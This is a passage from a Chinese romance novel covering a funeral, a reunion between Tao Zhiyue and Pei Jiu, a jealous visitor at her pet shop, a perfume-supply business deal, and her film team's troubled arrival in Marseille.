想起这个未完成的约定,她的心又坚实地跳起来。
不仅为了和他的约定,也为了自己的梦。
*
怀里的花束沉甸甸。
陶织悦把怀里的捧花摆在遗像旁边,望着那张凝固的笑脸出神。
堆得密集的花束将逝去的灵魂簇拥。她无端地想:如果真的有灵魂,她能闻到花香吗?
她的目光扫过那些白菊、康乃馨,突然瞧见角落里摆着一束白色百合。
她们没有准备百合花,是谁带来的?
那束百合被一只大手握着,正正立在桌边。
她循着那个黑色西装袖管上移视线,看到一个有点意外的人。
男人感受到不远处的目光,抬头与她对望。
裴究怎么会在这里。
两天未见,却好像过了很久很久了。
她现在看起来一定很憔悴。
裴究已经迈开长腿向她走过来。摆脱了拐杖和病恙,他原来是那样笔直而沉稳。
他没有做什么过密的举动,站定后问:“很累吗?”
陶织悦摇摇头:“你怎么来了?”
他们的高中是在这里读的,陶织悦的小家、裴家也都在这里。裴究能找到这里不奇怪,但专门跑一趟过来也不是容易的事。
“以前她也照拂过我,最后为她献朵花,也算是我的致意。”
他转头去看桌上的遗照,回想起很多年前的那几次碰面。
“顺便……来看看你。”他转回来,补充一句,“打算什么时候回去?”
陶织悦呼出一口浊气,无神地瞅着桌上的白花。
她已经把项目搁置了两三天。大概知道她遇到点事,团队伙伴们默契地没有过问,只是腾出了两三天供她喘息。好在前期的准备工作已经走得差不多,也没耽误太多功夫。
“明天吧。”她下了决定。
裴究点头,欣然道:“一起回去吧。”
怎么感觉正中他的下怀呢?
陶织悦假装改变主意:“我突然觉得,今天就走也不错。”
裴究又点头:“那更好了,能省一晚酒店钱。”
她语塞了。
留给他们交流的时间不多,慧敏表姨在不远处叫她,说有东西要给她。
白色花圈砌成了一堵肃穆的墙,郁阳和慧敏表姨并肩站在花墙前,后者正朝着她招手。
陶织悦回头向他示意,便迈步过去。
慧敏表姨手肘间夹着一个纸箱,将她拉到角落里。
纸箱打开,鲜艳的红色刺入眼帘,在这个黑白的世界里格外显眼。
是外婆给她织的那条红色围巾,又软又蓬松。
她戴着这条围巾从小学走向高中。上大学那年,她把这条围巾遗漏在家里,离开了这座城。
没想到被外婆好好地收起来了。
她的心柔软一片,泛起点酸涩。
“带走它吧,这是外婆留给你的。”
慧敏表姨取出红围巾,一圈圈裹在她脖颈处,将她安稳包住。暖暖的,像外婆又给了她一次拥抱。
头顶被轻轻抚摸,陶织悦忍不住落下几点热泪。
她这两天铸造起看似坚实的心墙,终于还是被涓涓细水侵蚀殆尽。
试图锁住悲伤,她把围巾往上拽,包住自己的下半张脸,只在那团软乎乎的红云后露出一双含泪眼。
“你妈妈也难得回来一趟,去找她吧。”
慧敏觉得这孩子惹人怜,父亲去世,母亲也不常在身边,现在连最疼爱她的外婆也离去。除了是个有女儿的母亲,她也是个颇为感性的女人,禁不住有些心疼。
陶织悦垂着头微点。
顺着院子的小径一路走,她想找郁阳。
身着黑白灰的人们像深浅不一的线条,想在里面找到一个落点不容易。
“没想到你还认得我。”
听到郁阳的声音,陶织悦立住脚步,声音来自身旁高大的灌木后。
对面很快回应,声音不卑不亢。
“您的记性也不差,即使我们只在您离开那天见过一面。”
郁阳的谈话对象是裴究。她有些意外,将身形隐在树丛后。
“这么多年过去,没想到你和织悦还有联系。”
透过灌木的空隙,可以看见郁阳冷淡的神色。她随性地揣着手,面对着西装革履的男人没有丝毫怯意。
裴究礼貌地笑笑,没有正面回应。
郁阳:“我之前就说过,陶织悦不适合和你在一起。裴家的情况太复杂,况且我们是小门小户,高攀不了你们。”
“您的顾虑我了解,但我已经离开裴家了,况且……”裴究垂下眼,“她现在并不讨厌我。”
郁阳微微抬眉,似乎是没想到对方能做到这一步。
她尚有疑虑:“离开?为了织悦?”
裴究坦荡荡:“也为了自己。”
为了向对方解释清楚,他接着补充:“我已经很多年没有回裴家了,现在也不需要依靠裴家的人
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脉和经济。目前在一家外企做高层,很快就能在国内安定下来。”
郁阳扫视他上下,一身黑西装得体又考究,腕间隐隐露出一柄暗红底色的手表。
“那看来,你现在过得也很不错。”她的目光定在那里,意有所指。
面对这句轻飘飘的话,男人神色郑重:“我会向您证明,我能照顾好织悦。”
“她有手有脚,能照顾好自己。”郁阳很平静。
“她当然也能照顾好自己,”裴究笑起来,“是我离不开她。”
郁阳没有再接茬,她抬起腕间看时间。这时候两人才发现,她戴着一只老旧的机械表。机械表朴实无华,只有最简单的不锈钢外壳,是十几年前的款式,被磨蚀得失去光泽。
“失陪了,我该去赶飞机了。”她放下手腕,利落地告辞。
眼看着郁阳向自己的方向过来,陶织悦立马蜷成一团,小步小步挪去另一侧的角落。她刚动了几步,听见裴究把郁阳叫住。
郁阳没有回头,但脚步还是停了下来。
两个人都不知道裴究意欲何为。
“您或许应该跟织悦告个别。”他的声音从灌木后传来。
听到这句话,陶织悦愣在原地,搭在大腿上的手也收紧。
“而不是一声不吭地离开,又是好几年。”
她看不见两人的模样,只能缩在灌木后竖着耳朵听。
裴究的声音又坚实地传来:“这样对织悦不公平。”
一字一句落在她心里的小水洼上,点起回响。说不清是什么感觉,可能是一点淡淡的难过、释然、安心以及脆弱的混合物,从水汽变成云雾,在她的上空笼罩。
她无意识地蜷得更小,像把自己抱紧。
耳边听到沙沙的摩挲声,是踌躇的痕迹。焦灼的几秒空白,郁阳最终没有说话,用脚步声画下了这场对话的句号。
陶织悦缩在原地,掌心有水滴落下。
原来是下雨了。
她攥住手中那滴水,追上郁阳消失的方向。
雨不断落下,越来越急。面上冰凉一片,呼吸也浸满水汽。雨水模糊了她的视线,但没有削减她脚下的速度。
郁阳又走了吗?她还是没赶上吗?
陶织悦失神地在雨里穿行,苦苦寻找那个背影。
她在雨幕中站住。
撑着黑伞的女人立在路边,身上的黑衫被水渍晕出几处褶皱。她目光沉静平实,若有实质般投注过来。
郁阳在等她吗?
雨水顺着她的刘海流下来,被她抹去。陶织悦定定地望着她。
郁阳弯起一点笑:“走了,照顾好自己。”
她转身,上了身旁已经停留片刻的出租车。
车门利索扣上,车里的人侧头,隔着车窗向她投来目光。
陶织悦缓缓抬起手,向她挥手。
郁阳顿了一下,也举起手轻摇。
出租车晃动一下,带着发动机的隆动声,向前驶去,渐渐缩为一个小点,隐入蜿蜒的马路尽头。
雨似乎停了。
陶织悦伸出手,雨水不再落在她手上。
头顶传来雨柱击打在伞面上的声音,像大自然庆祝甘霖的小鞭炮,闷闷地将她包裹。她抬头,看见了一片红色的伞布,和她的围巾一样。
在她的直觉认出身后人之前,他的气息更快地抵达了她的身边。
直率、安稳、又无处不在。
15. 交锋
陶织悦回来后憔悴了不少,聂乐言都看在眼里。
但她刻意地不对身边人表现出消沉的一面,只是默默干活。她半个月后要动身出国拍片,想趁离开前多帮乐言分担一点。
方太太是亚罗卡的常客,最近生了病,拜托她们帮忙每天遛狗。她的比熊叫米尼,性格很活泼,像一团蹦蹦跳跳的棉花糖。
陶织悦二话不说就接下了这个活,每天午后都带着米尼去散步。
望着陶织悦出门的背影,聂乐言有些心疼,但终究没有说什么。
时间是一切的良药,而生活的洪流也永远不会停滞。也许让陶织悦自己消化会更好。
她从抽屉里取出一支水笔,低头去整理账本。天气转凉,亚罗卡用于供暖的费用上涨,需要从其他地方多支一些。她用笔勾出可以调整的支出,在心里精打细算。
玻璃门一开,走进一个人。
聂乐言抬头,打了个招呼:“黎先生,又见面了。”
黎扬清笑了,四处转头看。
聂乐言很快会意:“织悦出去了。”
“哦,这样。”黎扬清挠挠头,有些被戳穿的难为情,“我是想把洗出来的照片给她。”
照片轻轻落在吧台上,正是那张中秋合照。
聂乐言看着照片中已经离世的老人,感到有些遗憾和棘手。这张照片出现,带给织悦的会是二次伤害吗?
她正打算先替陶织悦收下照片,就看见一团白色的小旋风卷了进来。
白色的卷毛小狗吐着舌,撒开四条小短腿奔跑。
陶织悦紧接着迈进大门。见到到访的黎扬清,她提起一个礼貌的笑。
“米尼饿了,不愿意散步,我先喂它点东西。”她简短解释,目光落到吧台上的照片,笑意慢慢黯淡。
黎扬清把照片拾起,递到她面前。
“谢谢,你的照片。”陶织悦将照片收入掌心,笑得有点勉强。
眼见气氛略微僵硬,聂乐言打个哈哈,从吧台下抽出一包宠物肉干,塞进陶织悦手中。
“别把小狗饿坏了。”她推着陶织悦的背,分开干站着的两人。
门外又晃过一个白色的身影,“哒哒”地跃进店内,是只夹着小粉蝴蝶结的博美。
项上的狗绳被一只白细的手抓着,涂着亮晶晶的裸色美甲油。主人被浮夸的黑色墨镜盖去一半的面容,只露出殷红的一张樱桃小口。
令人无法忽视的是她一身粉装,头上还戴着大大的粉色发带。
活脱脱像个电影里走出来的芭比。
店内的三人都被她吸引了注意。她欣然走入,目光扫过在场所有活着的东西。
她的视线定在陶织悦身上,像是找到了目标,轻咳一声:“就你了,帮我的小狗美容。”
她揣起手,头昂得很高,整个人显得倨傲。
话一出,另外两人都皱起眉。
陶织悦却没有丝毫被冒犯的样子,露出点意料之中的神色。她点点头,三两步走到吧台,朗声道:“请先登记吧。”
她翻到最底下的表格,在宠物那栏敲敲。
“小狗叫什么名字?多大了?是什么品种?”她一连串抛出来,怡然地转着笔。
一旁的聂乐言转过去看她。只是宠物美容的话,一般也不会问得这么细致啊。
“芭比”小姐愣了一下,支支吾吾:“呃……它叫小云,是只博美。可能……两岁吧。”
陶织悦忍不住笑:“听起来你们不太熟啊,是自己的狗吗?”
“芭比”小姐不服气:“当然,你快点。”
“那您叫什么?”
“……王芊芊。”她顿了一下,又回答。
陶织悦挑眉去看她:“不是叫瑜瑜?”
那人马上呆住,有点恼羞成怒地摘下墨镜,露出那张见过一面的脸。
果然是那晚在裴究家里的女孩。
“你早就认出来了?”女孩又把墨镜卡在胸前,显然是习惯。
她本来是好奇,打听到裴究家里女人的身份,想来这里捉弄一下陶织悦。没想到才几句话的功夫,她就被拆穿了。
都到这份上了,她大大方方地抢过笔,笔尖潇洒地划过纸面,留下一个名字:虞渔。
陶织悦探头去看。原来大名就是叠音,她还以为裴究叫的是亲近的昵称。
虞渔自觉有点尴尬,又揣起手:“到底能不能美容了?”
“可以可以。”陶织悦利落回应。
只要能让她挣一笔,那就是财神。不过方太太的女儿每天放学都要找米尼,方太太交代了她要早点把米尼送回去。
“但是我手上还有事情,可以让其他店员来做吗?”陶织悦很诚恳地打商量。
“不可以。”虞渔摆明了后面要刁难一下她,“我交钱,要你亲自来。”
也行。
有钱不赚是傻蛋。
“我马上回来。”陶织悦把米尼抱起来,转身进内室,准备叫小郑把它送回去。
虞渔的脚尖在地上点着。如果有尾巴,应该已经高高地翘起来了。
她转头打量店里的陈设,忽然脸色一变。
意想不到的人出现了。
透过落地窗,西装革履的男人徐步而来。
虞渔像鼠儿见了猫一般慌张,蹬着小高跟在原地转了几下,却无处可躲。
从店门进来的男人的目光已经锁定了她,疑惑中带点不悦。
“虞渔?”裴究开口叫她。
虞渔身形一僵,只敢用背影对着他。
“你哪来的狗?”他盯着虞渔牵着的那只博美,语气有点严厉。
虞渔心虚地转过来,把狗绳握在背后,挤出一个谄媚的笑:“我姨妈家的,带过来做个美容。”
裴究轻呵一声:“你带只小狗,跨越一整座城,专门来这里做美容?”
虞渔漏洞百出的小伎俩瞒不住陶织悦,自然也被裴究一眼看穿。
“看来小区的保安嘴巴大得很,什么都告诉你。”他的脸色有点阴沉。
“我只是好奇,才过来看看的……那我回家了。”见狡辩无用,小姑娘声音渐弱,小步挪向门外。
她拽着小博美,小博美显然不愿受摆布,扒着地面往店里爬。
虞渔憋红脸,嘴里念叨着:“走了走了,听话……听话,别让我丢脸。”
一人一狗拉力战。
陶织悦从内室走出来,看到了齐聚满堂的人。
今天是什么日子?怎么都往她这小小的店里钻?
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她一进一出,又刷新出个裴究来。
虞渔拖着犯犟的小狗走出亚罗卡,又把脑袋探回来,悻悻地说:“别跟我爸告状呗。”
裴究无可奈何地点头。
获得了答案,虞渔才安心地离开。
“她……不做了?”陶织悦只看见财神走了。
“她来,倒也不是诚心想做。”裴究转过来和她对视,这才瞧见一旁的聂乐言,礼貌地问候,“好久不见。”
聂乐言点点头。
“那你呢?来这里做什么?”陶织悦问他。
裴究静静望着她,扫过她显出疲劳感的眉目:“我来看看你,怕你心情不好。”
陶织悦因为他的直白哽住,只是小声嘟嚷:“我没事。”
陶织悦低头看一眼手机上的时间,离方太太女儿放学的时间没多久了。
她轻叹一下。本来想找小郑,没想到小郑有事先走了,她现在只好自己去送米尼了。
她和几人说明情况,牵着米尼往外去。
陶织悦这个关系网的中心一离开,剩下的几位都不太相熟。
聂乐言发扬起东家的精神,主动招呼两人坐。两个陌生的男人从善如流地坐下。
裴究收起前面的软和态度,颇有距离地打量另一个男性。
他刚进门的时候就注意到了黎扬清的存在。他认得这个人——是第一次截胡了他的电话并在中秋那天和陶织悦合影的男生。
这么一想,心上有些不满。
黎扬清也在余光中探着裴究。
他听到男人的声音,便也认出了男人的身份:是那个打电话给陶织悦,名字叫裴究的男人。
今天他们总算是见到对方了。
两人默不作声,气氛却剑拔弩张。
“你还在读书吧,”裴究闲适地靠在椅背上,双手搭在一起,不经意地露出手腕上的手表,“年纪还小,有些东西你还抓不住,但还有很多其他发展机会。”
黎扬清自然看到了他的动作,但面上不动:“我正抓着机会,追求自己想要的。”
他目光一转望向外边,向虞渔消失的方向道:“裴先生倒是有很多机会,刚刚都追到这里来了。最起码,我只想上一条船,而不是脚踏好几只……”
裴究搭在一起的手收紧,青筋在手背隐隐跳动。
“一点小误会而已。”裴究保持着一点礼仪的微笑,“每条船也是有自己的航线的。很明显,你不是她的目的地,也没有能力站在她旁边,为她遮风挡雨。”
他站起身来,身姿一下有些居高临下的气魄。只是这样简单地站着,就显出势在必得的松弛。
“你恐怕不知道,前几天我和她还在一个屋檐下进出。”
时间不早了,见到人他也安心了。一会还有个新产品的原料供应商要见,裴究不打算再磨蹭下去,简单告辞。
黎扬清坐在原地,脸色随着男人转身变得落寞。
他当然知道他们关系不一般。
中秋前的一天,他在医院外偶遇了两人。那时候这个男人还拄着拐,他们并肩走着,最终还拥抱在一起。他只是远远地望着,没有上去打招呼。
可能是没有勇气吧。
他出神地回想,苦笑着叹气。
16. “王芊芊”
天黑下来了。
陶织悦送完米尼,走在回程的路上。
远远的,她瞧见一团白色的“毛球”在街角挪动。
那“毛球”越发眼熟,在地砖上嗅来嗅去,身后拖着一条粉色的绳子。它调转过小身子,将脑袋暴露在陶织悦视野中。
这不是虞渔牵着的那条博美吗?
她靠近那只小博美,捡起牵引绳握在手里,左顾右盼寻找主人。
四周静悄悄,空无人烟。
看小博美的位置,陶织悦判断它应该从旁边那条小径来的。她牵着小博美,顺着反方向回小径。
走了几步,看到地上有个亮晶的小东西,在路灯下熠熠生辉。
她捡起来,是个耳坠。粉色的,拖着长长的银色流苏,在她指间一晃一晃。
这一路又捡狗又捡耳坠,像寻宝藏似的。
她循着源头去,到达小径尽头。这里路灯照不到,光线有些暗。
窸窸窣窣的声音吸引她的注意,一个身影团得小小的,正蹲在花坛前面翻着什么。
虞渔穿着小高跟,因此蹲得费劲,一个重心不稳就摔了个屁股蹲。
她惊叫一声,狼狈地在地上挣扎,却站不起来。
陶织悦原本想等她站起来,毕竟谁也不希望别人看到自己乱七八糟的样子,但情况看起来需要一些外力。
“在找这个?”一只手在虞渔面前摊开,掌心是她遗失的耳坠在闪光。
虞渔抬头去看好心人,瞪大眼睛:“怎么是你?”
她的手伸出一半去拿耳坠,又悬在半途。陶织悦主动抓住她的手,将耳坠塞到她手心,趁机把她从地上拉起来。
晃神间,虞渔已经好好地双脚着地。
“汪!”小博美叫一声,抖动着脑袋上的蝴蝶结。
“我的狗怎么也……”她不可思议地指指陶织悦背后,扭头去看花坛边空空如也的柱子,“我不是把它拴在……”
一切都显而易见。
虞渔尴尬地搓搓鼻尖:“谢谢,你人真好。”
陶织悦抿出一个笑,把绳子也递给她。
做完这些,陶织悦转身就走。她刚走没几步,身后人就踉踉跄跄地赶上来。
“诶!等一下!”虞渔一边追上来一边拍身上的灰。她的粉裙沾上尘土,有点脏。
她嬉皮笑脸道:“要不我们重新认识一下吧。”
虞渔伸出手,满眼期待地望向陶织悦。陶织悦不扫兴地握上她的脏手,她一下笑靥如花。
“我叫虞渔,现在在国外读服装设计大二。你呢?”
陶织悦:“怎么?保安没告诉你?”
她一下窘迫起来:“我就是那晚很好奇,跟保安大爷八卦了一下你。那大爷就跟我说你在宠物店工作,就是市东最大的那家,我才想过来看看的。”
“对不起啊,我没有想真的干坏事,只是看到你跟裴哥哥关系很好的样子,所以有点小脾气……”她越说声音越小,没了底气。
陶织悦没把她小小的刁难放在心上,只是顺着话题。
“你很喜欢他?”
“他长得好啊!又事业有成,谁不喜欢呢?”虞渔眉飞色舞起来,又小声吐槽,“就是有时候凶了点,还老跟我爹地告状!”
陶织悦忍不住笑,活泼娇蛮在面前人的身上体现得淋漓尽致。
“好吧,其实最重要的一点是:他是我自己选的。”虞渔的语气低落下来。
陶织悦不明不白地歪头,等着女孩的进一步解释。
“虽然爹地很宠我,还送我去国外读书,但是他从来不让我做决定。”
她盯着地面滚动的小石粒,有些惆怅。
“哥哥都可以参与家里的生意,可我只能听家里人的话,在他们的人选里挑个让他们满意的男人过一辈子。”
陶织悦抓住重点:“所以,你只是需要一个自己的选择。至于这个人是谁,其实也没有那么重要。”
虞渔沉默几秒,有点顿悟:“好像是这样,其实我也没有特别喜欢他。”
“我是在他和爹地会面时见到他的。后来,他偶尔也会来我家走走关系。要说情根深种,确实也是没有。”
陶织悦继续说:“那,你有什么特别喜欢的事吗?”
虞渔眼睛渐渐亮起来:“我喜欢我的专业。等我毕业,想开一家自己的店——就像你一样!”
“我?”陶织悦意外地重复。
“是啊,能开一家自己的店自己管,很厉害啊!”
她语塞了,忽然觉得很有趣:在她羡慕对方的家境和勇敢时,对方竟然也在羡慕她的自由和成就。
她们好像站在各自的山上,只能看见对方的高耸与巍然,却见不到脚下青峦的高渺。
陶织悦喃喃道:“你也很厉害,想做什么就去做。”
肩上被虞渔一拍,她大大咧咧说:“那你有什么想要的也去追,不就好了!”
陶织悦一晃神,脑袋里有个种子在发芽。
外婆说:一定要知道自己想要什么,然后勇敢去追。即使最后没追到,来路也是在找幸福的路上。
这是外婆在人生最后一面给她的话。
“你……怎么了?怎么突然不说话了?”或许是她神色茫然得太明显,虞渔小心地呼唤她。
她绕着陶织悦转了一圈,三百六十度观察她的表情。
“你心情不好。其实我今天一见到你就感觉到了。”她伸出两根手指比划陶织悦的眉眼,“跟我们第一次见面的时候比,变得沉重了。”
陶织悦习惯性地想说“没事”,被对方截住了话头。
“你别说‘没事’,我们学服装的眼睛尖着呢。是不是我刚刚说错什么了?”她犹豫着问。
陶织悦摇摇头:“不是你的问题。”
见状,虞渔索性关闭话题,避免多说多错。
“那我先回家了,不然要遇上晚高峰了。”她朝陶织悦挥挥手,向马路边走去。
临了,她回过头:“我明天就坐飞机回国外了,下次回来我再去拜访你啊——额,我是说友好亲切的那种访问啊!”
陶织悦招手告别。下次见,“王芊芊”。
她拐弯走出小径,回到原本的大路上。
街边的餐馆已经点亮了招牌,花花绿绿的灯带为这座城穿上彩衣。她在熟悉的环境里一边走一边出神。
他们对当年的离别释然了,但缺失对再次走入男女关系的一个正式节点。
重新开始一段已经结束过、又也或许没有未来的关系,对她而言有点艰难。
但是此时,她真的有种想要马上打电话给他的冲动。
陶织悦按开手机屏幕,还没调出手机通讯
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录,先被工作群的消息拦住了。
她将要出发去拍宣传片,这对她的事业而言是一个里程碑式的节点。况且一整个团队都签了保密协议,她不能将未来的行踪和安排透露给别人。
那就等她结束这个项目吧。
*
包厢中灯火通明。顺着落地窗看去,能俯瞰一整座城市的夜景。
服务生为桌子两侧的客人倒酒,深红的液体在高脚杯中轻晃,像融化的红宝石。
坐在内侧的年轻男人好暇以待,目光散漫地投在对面签字的手上。
签完字的中年男人放下笔,对上裴究伸过来的手掌。
裴究抿出浅浅的笑意:“合作愉快,虞总。”
虞总客气地握住他的手,嘴上插科打诨:“不敢当,你小子切断了我其他的供应渠道,可不就只能把这批原料给你了吗?”
裴究挑眉:“我可没有强迫他们不收你的原料。”
对方轻哼一声:“你是没强迫他们,但谁会跟森德瑞抢东西?”
裴究笑意渐深,却透出一点凉薄的意味。
“目前这批苦水玫瑰质量最好,做森德瑞新系列香水不算浪费它们。”
这么好的花,做什么都不会浪费。但中年男人没有说出口,转而打探道:“虞渔最近是不是去了你那?”
“来了一趟。”裴究有点不耐烦,手指开始拂拭高脚杯的底座。
虞总也烦心起来,语气里带上点无奈。
“孩子长大了老不听话,我回头管管她,年底放年假之前都不会再让她回国了。”
裴究没有再说话。
中年男人端起酒杯喝一口,品味着口腔里的回甘。
“还有件事,来找我买这批苦水玫瑰的,还有一个从来没见过的客户——外国的。”虞总在最后几个字顿了一下。
裴究很快理解他的意思,不以为意:“这不是没让史密斯汀得手吗?”
“我是提醒你,小心他给你使阴招。”虞总摇晃杯中澄澈的酒液,“别忘了当年他怎么截胡你的项目。”
他放下酒杯,眼睛微眯,像是突然想到了什么。
“听说你们这次找了国内的自媒体团队拍宣传片?如果要回总部取景,那就是把人送到他眼皮子底下了,别让他找到机会下手。”
裴究的眉目沉下来,点点头。
宣传片也是相当重要的一环。他忙着其他流程的核实,确实忘了这点。
“你还是年轻,对生意上的勾心斗角没有实感。”虞总找到了压他一头的地方,得意起来,“我是自己发家的,这方面可比你知道得多。”
“人为了争夺利益,是什么都有可能做的,只不过区分光明正大的方法和上不得台面的手段。”
好说歹说合作了多次,两方的商业联系已有些藕断丝连,一损俱损。他因此要提点这位年轻新贵几句。
以森德瑞在国外的品牌调性,是轮不到国内本土香型上桌的。当年上位的裴究虽然青涩,却提出融入国内传统香元素的建议。
虞家靠着这阵风,一举成为森德瑞数一数二的国内供应商之一。
如今,裴究被总部委派回国发展。国内市场一旦打开,对虞家的生意只好不坏。
“多谢。”裴究主动举起酒杯。
两杯轻碰,为这场短暂的会晤划上句号。
17. 拍片变故
飞机的轰鸣声骤然变大。随着轮子触地,机身猛地一震,把陶织悦从梦境中抖出来。
她睁开眼,朝着机舱里唯一的光源望去,亮处被旁边人的身影遮去了大半。
阮沂很兴奋,双手扒在窗框上,巴不得把脑袋探出去一览风光。
“桃子姐,你快看外面!”她戳着玻璃,难掩激动。
飞机在跑道上疾驰。海平线将远处的日落切割成两半,裂开的日落流出色彩,将海水染得绚彩。
陶织悦从座椅里拔出身子,扭着脖子松筋骨。她转过去,叫醒睡梦中的其他成员。
飞机一会就彻底停稳,乘务员们开始协助旅客取行李。
“这是……?”一位女乘务对着复杂的摄影机无从下手,她把目光转向陶织悦后排的两人,最终把目光定格在身形高大的赵骁。
赵骁身穿牛仔外套,稳稳地坐着。
赵骁旁边的女人主动站起来,利落地去捞那台摄影机。她轻松地稳住怀里的“长枪短炮”,手臂绷出健硕的线条。
乘务员眼睛瞪大,没想到这个身材矮小的女人才是团队的摄影师。
米菲豪爽一笑:“借过一下。”
赵骁从上排取出灯光架。后排一直沉默的路元州则是录音师。
五人小团队提着各自的行李和装备,一路来到机场大厅。
合作方的接应人员早在机场出口等候,为首的是一个圆圆脸的姑娘。
“是‘指月人间’的团队吗?”小姑娘笑着迎上来,眼下的卧蚕也鼓起,“车子在路边,跟我走吧。”
小姑娘姓朱,是个华裔。
一行人坐上车。
途径这座城市最繁华的码头。朝左边看去,船只来往熙攘,各色集装箱点缀其间。
朝右边,又能看见颇具异国风情的街景,圆顶彩绘的建筑参差错落。
夜幕降临时,一行人刚好到达酒店。
森德瑞为他们订了一家很有本土特色的旅馆。石块砌的墙粗糙,反而突出古朴野蛮的质感。内里被复古的红砖地面和花纹墙纸包裹,显得温暖。
米菲和阮沂一间房,赵骁和路元州一间房,陶织悦自己单独开了一间。
这个单间不大,但还算舒适。她简单把东西收拾,从背包里取出笔记本。
房间里有套木制圆桌椅,正适合她就地办公。
她摊开本子,翻到日程规划。
今天,她们入境并到达普罗旺斯,暂时在马赛中转一晚。明天,她们将出发到达森德瑞品牌发源地,也就是世界香水之都格拉斯,开始正式拍摄。
这个地区地形差距大,因此造就了小雪山和温暖平原并存的情况。丰富的地貌能拍出不少好东西。
除了森德瑞的委托,他们还有自己账号的拍摄计划。时间安排得很紧迫,但愿不会出现意外。
房门被轻轻敲响。
陶织悦开门,米菲和阮沂勾搭在一起站着。
“桃子姐,吃饭不?”阮沂笑嘻嘻地将另一只胳膊搭在她背上。
说的是问句,倒也没有给她选择的余地。
三个人叠在一起,怪异地往旅馆外走。
“路元州和赵骁呢?”陶织悦象征性地问候团队里剩下两个男生。
阮沂摆摆手:“不管他们,我们自己去玩,两个大男人也不会出事的。”
三人摇摇晃晃来到街上。
米菲犯了职业病,举着小相机四处取景。一座座巴洛克式建筑被框进镜头,定格。
另外两人走在前面,陶织悦低头看着阮沂的手机屏幕,两人挑选着当地的餐馆。
马赛鱼汤颇负盛名,橄榄油抹面包也不错。
两人正犹豫着再选海鲜拼盘还是当地千层面,余光中,一只手鬼祟地探来,随之口袋一轻。
不好!陶织悦立马大喊:“偷手机!”
那人动作极快,是个惯犯。陶织悦发现得快,他像条油滑的鱼一样逃走。
小偷慌乱中没看路,刚跑几步,被米菲伸出的一只脚绊倒在地。
他扑倒在地,陶织悦的手机也飞了出去,重重砸在地上,发出“啪”一声。
眼见事情败露,他就地一滚,钻入人群中不见了。
“死小偷!”阮沂对着那人消失的地方破口大骂。
陶织悦捡起手机,拍拍灰。没碎,却点不亮屏幕了。
唉,真是倒霉。出门在外失去手机,无异于被砍掉左膀右臂。她懊恼地把机侧按钮都按了一遍,依旧于事无补。
“用不了了。”她下定论。
米菲:“街上应该有修手机的,找家店问问。”
这下吃饭也没了兴致,三人把手机尸体寄在维修店,就近选了家饭店。
陶织悦坏了手机胃口不佳;米菲吃到里昂香肠里的内脏部分,一下倒了胃口;阮沂把剩下的食物一扫而空。
“有人要吗?”阮沂叉起最后一条章鱼腿,对着两人比划,得到否定回答后,心满意足地塞进嘴里。
用餐结束后,陶织悦火速去往手机店,又垂头丧气回来。
两人一看,知道手机的问题没有解决。
米菲:“先跟赵骁和路元州说一声吧,免得有事找不到人。”
她低头去翻手机,动作顿住。
“赵骁说,森德瑞的人好像出了问题。”
一波未平一波又起,三人匆匆回到旅馆。
刚到门口,就看见两波人站在走廊吵架。
带他们来旅馆的小朱气得脸红,用不熟练的法语争着什么。她的声音越来越大,但始终压不过对面那个法国女人。
女人约莫三十来岁,穿着条纹衬衫,个子也高一头。她面上很冷漠,只是一再重复着什么。
两拨人不欢而散。小朱眼泪汪汪地往外走,正好撞上门口的三人。
陶织悦抓住她的手臂,询问情况。
小朱眼眶有点湿红,深吸了几口气。
“她说上面派了她们来接管这个项目,我们这帮人可以走了。”她委屈地瘪嘴。“我为了争取这个机会那么努力,说被换就被换了!”
眼泪流下来,她抽泣着去抹。
接待团队被空降换了。陶织悦一边抽纸给她,一边思索。
照理来说,流程敲定后,不应该再有什么变动。如果有,也应该告知他们才是。
不对劲。
她顺顺小朱的胳膊,又问:“那接下来,是另外那帮人和我们对接吗?”
小朱点点头,把眼泪擦干净。
阮沂共情力很强地抱住她,嘴巴一瘪也要哭了。
安抚完小朱,三人心情各异地走进旅馆。
赵骁本就围观着两波人的战争,拨开看热闹的人群朝她们走来。
“她们把华裔赶走了,留个中文很差的法国人来对接我们,这不对吧?”赵骁揣手道。
陶织悦看看四周:“回屋说。”
门边探出路元州的脑袋,见到她们来了,又缩回房间里。
“月亮基地”齐聚一堂,开会。
“小朱也太倒霉了,那个法国女是不是关系户啊?”阮沂愤愤不平,顺势坐在床沿。
床边的路元州像被踩了尾巴的猫,一下蹦出几里地。
大家对这个黑框眼镜社恐男的过激行径熟视无睹,继续交谈。
“没那么简单,”陶织悦摇摇头,“我感觉是森德瑞内部有两方势力在交斗。”
“啊?有那么严重吗?”阮沂挠
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挠头。
米菲揉她的脑袋:“本来敲好的流程,如果这个变动的背后人在公司内部权势不够大的话,很难在这么短的时间里就把人换掉。”
“但说到底,这还是整个公司的项目,应该不会影响到我们拍摄吧?还是少管闲事比较好。”赵骁说。
一时间,大家都安静下来。全场的目光汇聚到团队核心——陶织悦的身上。
陶织悦垂着头斟酌,手指搭在手肘上轻点。
“看看明天早上,我们能不能顺利到格拉斯吧。大家都早点休息。”
今晚是个晴朗夜。
旅馆外的庭院里种满了迷迭香,草虫在叶丛里鸣叫。普罗旺斯地区盛产迷迭香,是全球迷迭香种植最多的地方之一。
这个季节恰逢迷迭香的花期,一朵朵蓝紫色的小花缀在密叶间,很可爱。
陶织悦不讨厌它的气味,漫步在小径中。
初来乍到的新奇像潮水一样退散,裸露出礁石般生硬的茫然。
手机还是没有好转的迹象。她摆弄几下又放弃了。
她抬头去看,头顶有漫天繁星。
小时候,她坐在外婆膝上,外婆坐在藤椅上,祖孙俩就这样在夏夜看星星,直到她睡着。再睁眼,就回到了软软的床铺上。
其实法国的星空也没什么不同。法国的土地也是由泥土和石砖搭成的。
她忽然想起,当年的裴究出国的终点就是这里。
那个人,也曾在这里留下他的脚印吗?也这样走过街道、吃过橄榄油抹面包片,还遭遇过意外的不幸吗?
此刻的她身边还有别人,当时的他只身一人来到这里,在异国他乡从零开始,又遇到过多少坎坷呢?
她想起他指缝间的茧。那些他过去的辛苦都被他轻轻带过,她无从知晓。
陶织悦握着目前跟板砖没差的手机,惆怅地塞进口袋。
*
陶织悦消失了。
裴究发了几条消息,她都没回。
起初他以为她正忙着,看到了自然会回复。于是,他每隔半小时就看一次,时间就这么到了晚上,聊天框依旧空空如也。
思索再三,他决定打个电话,不料打了几次,都只得到用户已关机的回复。
他不死心地去了趟亚罗卡。
亚罗卡的招牌依旧发着光,正在营业。
他推门进去,只在吧台见到聂乐言。
“她几天前就走了,说是有新活上门。”聂乐言一边给小狗擦毛,一边说。
